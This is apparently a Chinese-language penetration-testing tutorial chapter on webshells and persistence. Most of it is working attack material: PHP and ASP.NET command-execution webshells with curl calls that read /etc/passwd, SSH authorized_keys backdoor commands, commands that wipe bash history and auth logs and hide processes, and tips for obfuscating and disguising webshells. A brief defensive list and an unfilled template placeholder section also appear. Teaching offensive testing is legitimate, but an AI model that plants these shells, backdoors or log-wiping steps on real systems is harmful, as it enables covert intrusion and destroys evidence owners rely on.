Webshell 與持久化
Vibe Prompt
「幫我上傳一個簡單的 PHP WebShell,測試伺服器的上傳漏洞。」
PHP WebShell
<?php
// shell.php
$cmd = $_GET['cmd'] ?? 'id';
echo "<pre>" . shell_exec($cmd) . "</pre>";
?>
# 使用方式
curl "http://target.com/uploads/shell.php?cmd=ls%20-la"
curl "http://target.com/uploads/shell.php?cmd=cat%20/etc/passwd"
ASP.NET WebShell
<%
' cmd.aspx
Dim cmd As String = Request.QueryString("cmd")
If cmd <> "" Then
Dim p As New System.Diagnostics.Process()
p.StartInfo.FileName = "cmd.exe"
p.StartInfo.Arguments = "/c " & cmd
p.StartInfo.RedirectStandardOutput = True
p.Start()
Response.Write("<pre>" & p.StandardOutput.ReadToEnd() & "</pre>")
End If
%>
持久化技巧
| 方法 | 平台 | 檢測難度 | |------|------|---------| | Cron Job | Linux | 中 | | Scheduled Task | Windows | 中 | | SSH Authorized Keys | Linux | 低 | | Docker Container | 任何 | 高 | | Lambda Function | AWS | 高 |
建立持久化 SSH
# 客戶端產生金鑰
ssh-keygen -t ed25519 -f ~/.ssh/persist_key -N ""
# 加入目標的 authorized_keys
echo "$(cat ~/.ssh/persist_key.pub)" >> ~/.ssh/authorized_keys
# 設定隱藏
chmod 600 ~/.ssh/authorized_keys
# 連線(不需要密碼)
ssh -i ~/.ssh/persist_key user@target.com
清除痕跡
# 清除 Bash History
cat /dev/null > ~/.bash_history
history -c
# 清除 Logs
sed -i '/my-ip-address/d' /var/log/auth.log
sed -i '/my-username/d' /var/log/lastlog
# 清除 SSH Logs
> ~/.ssh/known_hosts
# 隱藏程序(Linux)
mount -o bind /dev/null /proc/12345
防護建議
- 關閉檔案上傳功能或嚴格驗證
- 使用 WAF 過濾 WebShell
- 監控異常的檔案寫入
- 禁止伺服器對外連線(出站限制)
- 定期掃描 Webshell(使用 Lynis、Rkhunter)
關鍵要點
- ✅ 請根據本章主題補充具體的學習重點
- ✅ 建議加入比較表格、程式碼範例或流程圖
- ✅ 確保內容扎實且有價值
為什麼持久化是滲透測試的關鍵階段?
取得伺服器的初始存取權只是開始。如果伺服器重啟、連線中斷、或被管理員發現——你就失去了控制權。持久化(Persistence)的目標是建立穩定、隱蔽的後門。
常見的持久化技術
| 技術 | 原理 | 適用平台 | 偵測難度 | |:----|:----|:--------|:--------| | Cron Job | 定時執行反向連線腳本 | Linux | 低 | | Systemd Service | 偽裝成系統服務開機啟動 | Linux | 中 | | Registry Run Key | Windows 登錄檔開機啟動 | Windows | 中 | | Scheduled Task | 偽裝成 Windows 排程工作 | Windows | 中 | | SSH Authorized Keys | 植入自己的公鑰 | Linux | 低 | | Webshell | 上傳 PHP/ASP/JSP 後門檔案 | Web Server | 高(需找到檔案) |
Webshell 的隱蔽技巧
- 混淆程式碼:使用 base64 編碼或加密,繞過檔案掃描
- 偽裝檔名:命名為
style.css.bak或.well-known/health-check.php - 參數觸發:只有在傳入特定參數時才啟用,平常看起來是正常檔案
下一章預告:Metasploit 框架
Webshell 是手動建立後門的典型方式。下一章的 Metasploit 提供了自動化的 Payload 生成和後滲透模組——讓持久化變得更簡單。